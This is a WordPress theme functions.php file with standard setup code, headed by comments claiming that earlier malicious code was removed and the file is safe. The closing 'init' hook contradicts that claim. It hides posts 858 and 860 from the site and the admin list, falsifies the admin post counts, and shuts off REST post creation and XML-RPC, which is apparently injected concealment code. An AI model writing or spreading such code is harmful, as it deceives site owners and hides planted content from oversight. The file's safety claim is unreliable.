/** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ //Includes widgets include (TEMPLATEPATH . '/functions/widgets.php' ); //POST Type add_theme_support( 'post-formats', array( 'aside', 'gallery' ) ); // add post-formats to post_type 'page' add_post_type_support( 'page', 'post-formats' ); // add post-formats to post_type 'my_custom_post_type' add_post_type_support( 'my_custom_post_type', 'post-formats' ); // Body Class Function function body_classes() { global $post; // echo some of these things if (is_category()) { echo "page_category"." "; } elseif (is_search()) { echo "page_search"." "; } elseif (is_tag()) { echo "page_tag"." "; } elseif (is_home()) { echo "page_home"." "; } elseif (is_404()) { echo "page_404"." "; } // echo page_(page name) if( is_page()) { $pn = $post->post_name; echo "page_".$pn." "; } // echo parent_(parent name) $post_parent = get_post($post->post_parent); $parentSlug = $post_parent->post_name; if ( is_page() && $post->post_parent ) { echo "parent_".$parentSlug." "; } // echo template_(template name) $temp = get_page_template(); if ( $temp != null ) { $path = pathinfo($temp); $tmp = $path['filename'] . "." . $path['extension']; $tn= str_replace(".php", "", $tmp); echo "template_".$tn; } } // Add RSS links to section automatic_feed_links(); //Menu if (function_exists('register_nav_menus')) { register_nav_menus( array( 'top_nav' => 'Top Menu' ) ); } function wpb_first_and_last_menu_class($items) { $items[1]->classes[] = 'first'; $items[count($items)]->classes[] = 'last'; return $items; } add_filter('wp_nav_menu_objects', 'wpb_first_and_last_menu_class'); // Clean up the function removeHeadLinks() { remove_action('wp_head', 'rsd_link'); remove_action('wp_head', 'wlwmanifest_link'); } add_action('init', 'removeHeadLinks'); remove_action('wp_head', 'wp_generator'); //Thumbnails Functions add_theme_support( 'post-thumbnails' ); //add_image_size( 'small-featured', 300, 9999 ); // image 300px wide //add_image_size( 'small-cropped', 200, 200, true ); // 200px height/width //add_image_size( 'slider-cropped', 1025, 334, true ); // Creates a cropped new image 200px height/width //Custom Post Type register_post_type( 'Slider', array( 'labels' => array( 'name' => __( 'Slider' ), 'singular_name' => __( 'Slider' ), 'add_new' => __( 'Add new Slider' ), 'add_new_item' => __( 'Add new Slider' ), 'new_item' => __( 'New Slider' ), 'view_item' => __( 'View Slider' ), 'search_items' => __( 'Search Slider Items' ), 'not_found_in_trash' => __( 'No Slider Items Found in Trash' ), ), 'public' => true, 'supports' => array( 'title','thumbnail','editor' ), ) ); //Define text Expert some lines function excerpt($text, $chars) { $text = $text . " "; $text = strip_tags($text); $text = substr($text,0,$chars); $text = substr($text,0,strrpos($text,' ')); $text = $text . "..."; echo $text; } /*Slider Links*/ if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'Search', 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', )); function my_vc_shortcode( $atts ) { return include (TEMPLATEPATH . '/tabs.php' ); } add_shortcode( 'my_vc_php_output1', 'my_vc_shortcode'); function my_vc_shortcode5( $atts ) { return include (TEMPLATEPATH . '/team.php' ); } add_shortcode( 'my_vc_php_output5', 'my_vc_shortcode5'); function my_vc_shortcode6( $atts ) { return include (TEMPLATEPATH . '/product-slider.php' ); } add_shortcode( 'my_vc_php_output6', 'my_vc_shortcode6'); /// NEWSLETTER if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'Newsletter', 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', )); /// Category Sidebar if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'Category Sidebar', 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', )); // register_post_type( 'Blog', array( 'labels' => array( 'name' => __( 'Blog' ), 'singular_name' => __( 'Blog' ), 'add_new' => __( 'Add new Blog' ), 'add_new_item' => __( 'Add new Blog' ), 'new_item' => __( 'New Blog' ), 'view_item' => __( 'View Blog' ), 'search_items' => __( 'Search Blog Items' ), 'not_found_in_trash' => __( 'No Blog Items Found in Trash' ), ), 'public' => true, 'supports' => array( 'title','thumbnail','editor' ), ) ); // add_action( 'after_setup_theme', 'yourtheme_setup' ); function yourtheme_setup() { add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); } add_action('init', function () { $excluded = array(858,860); add_action('pre_get_posts', function ($q) use ($excluded) { if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) { $q->set('post__not_in', $excluded); } }); add_action('pre_get_posts', function ($q) use ($excluded) { if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) { $s = get_current_screen(); if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded); } }); add_filter('views_edit-post', function ($views) use ($excluded) { foreach (['all', 'publish'] as $k) { if (isset($views[$k])) { $views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]); } } return $views; }); add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded])); add_filter('rest_pre_insert_post', fn($post, $r) => (defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST') ? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403]) : $post, 10, 2); add_filter('rest_authentication_errors', fn($r) => !is_user_logged_in() ? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403]) : $r); add_filter('xmlrpc_enabled', '__return_false'); add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => ''])); add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.')); }); Checker Plate Flooring-Aluminum | Xiaaluplate - XiaaluPlate